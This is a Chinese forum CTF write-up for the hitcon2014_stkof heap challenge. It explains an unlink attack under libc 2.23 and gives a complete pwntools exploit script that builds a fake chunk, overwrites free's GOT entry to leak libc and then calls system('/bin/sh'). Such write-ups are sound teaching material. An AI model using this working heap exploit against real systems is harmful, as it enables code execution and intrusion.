[unlink]hitcon2014_stkof

查看 23|回复 3
作者:bnuzgn   
题目来源
buuctf——hitcon2014_stkof
参考链接
[color=]https://blog.csdn.net/mcmuyanga/article/details/112602827
[color=]https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve/
题目信息
libc_2.23、64位   



1截图.png (36.68 KB, 下载次数: 2)
下载附件
2023-10-1 13:52 上传

没有setbuf函数,因此程序不会自动申请标准输入与标准输出的堆空间(大小为0x410),且这些堆空间是用的时候才会被申请的,因此本题中申请的第一个堆会被两个0x410的堆夹在中间。
   


2截图.png (50.47 KB, 下载次数: 3)
下载附件
2023-10-1 13:52 上传

add函数中初始化了堆大小
   


3截图.png (70.98 KB, 下载次数: 1)
下载附件
2023-10-1 13:52 上传

edit函数由用户自定义大小,可以溢出   



4截图.png (34.44 KB, 下载次数: 2)
下载附件
2023-10-1 13:52 上传

注意,free函数会将结构体的地址清零,从而无法构造unlink链。
   


5截图.png (23.86 KB, 下载次数: 1)
下载附件
2023-10-1 13:52 上传

show函数无法控制输出的内容,本题中不会使用。
   


6截图.png (26.51 KB, 下载次数: 1)
下载附件
2023-10-1 13:52 上传

解题思路
unlink的常见利用方式仅限于2.27之前,也只有本题利用了unlink,算是小众方法。【特殊性】由于show函数的缘故,无法通过常规方法通过puts函数输出puts_got最后得到libc的地址,所以需要修改结构体的地址为free_got再用edit函数将内容指向puts_plt,才可以得到puts_got。
【类比】这种思路同fastbin attack相同,都是直接修改结构体的内容,但是本题找不到=、=。
【解法】
  • 申请三个chunk,包含头部大小分别为0x20,0x30,0x90,chunk 1用来setbuf献祭,0x30删去0x10的head剩下0x20构造已经被释放的fake chunk的结构,0x90用于触发unlink。
  • 编辑chunk 2,构造fake chunk并修改chunk 2的head:
  • 在0x20的内容段中填写 p64(0) + p64(0x21) + p64(bss + 0x10 -0x18) + p64(bss + 0x10 -0x10),前两个是head,后两个是fd和bk(原理参考链接1)
  • 溢出修改chunk 3的head,将previous size改成0x20,size段中0x91改成0x90
  • 释放chunk3,此时chunk2的结构体的内容将会被修改为这个结构体的地址-0x18
  • 编辑chunk2可以修改结构体的内容了
  • 修改free_got指向puts_plt

    关键步骤
  • 构造fake chunk,填写fd与bk
  • 修改free_got指向puts_plt,而不是将free_plt指向puts_got。后者虽然看起来逻辑通顺,前者多了两个环节,但是如此一来_dl_runtime_resolve中的表项就对不上了,会报错(原理参考链接2)
    wp[Python] 纯文本查看 复制代码#coding: utf-8
    from pwn import*
    context.log_level='debug'
    context.arch='amd64'
    context.os = "linux"
    pc = "./hitcon2014_stkof"
    if __name__ == '__main__':
        local = sys.argv[1]
        if local == '1':
            r= process(pc)
            elf = ELF(pc)
            libc = elf.libc
        else:
            r=remote("node4.buuoj.cn",28964)
            elf = ELF(pc)
            libc = elf.libc
    sa = lambda s,n : r.sendafter(s,n)
    sla = lambda s,n : r.sendlineafter(s,n)
    sl = lambda s : r.sendline(s)
    sd = lambda s : r.send(s)
    rc = lambda n : r.recv(n)
    ru = lambda s : r.recvuntil(s)
    ti = lambda: r.interactive()
    lg = lambda s: log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
    def db():
        gdb.attach(r)
        pause()
    def dbs(src):
        gdb.attach(r, src)
    def add(size):
        sl("1")
        sl(str(size))
    def edit(index,content):
        sl("2")
        sl(str(index))
        sl(str(len(content)))
        sl(content)
    def free(index):
        sl("3")
        sl(str(index))
    def show(index):
        sl("4")
        sl(str(index))
    puts_plt = elf.plt['puts']
    puts_got = elf.got['puts']
    free_got = elf.got['free']
    bss = 0x602140
    target = bss+0x10
    add(0x10) #1
    add(0x20) #2
    add(0x80) #3
    add(0x20) #4
    payload = p64(0) + p64(0x21) + p64(target-0x18) + p64(target-0x10) + p64(0x20) + p64(0x90)
    edit(2,payload)
    free(3)
    # db()
    payload = p64(0) + p64(free_got) + p64(puts_got)
    edit(2,payload)
    edit(0,p64(puts_plt))
    free(1)
    puts_addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
    libc_base = puts_addr - libc.sym['puts']
    system_addr = libc_base + libc.sym["system"]
    lg('libc_base')
    # db()
    edit(4,"/bin/sh")
    edit(0,p64(system_addr))
    free(4)
    ti()

    下载次数, 函数

  • jzghcj   

    看着很厉害的样子,可惜我不懂,给你个大赞
    yaphoo   

    大神级别,小菜是看不懂的
    cvestone   

    没有写出具体gdb如何调试到一步步利用的,太简洁了,其实除了看起来厉害以外意义不大
    您需要登录后才可以回帖 登录 | 立即注册

    返回顶部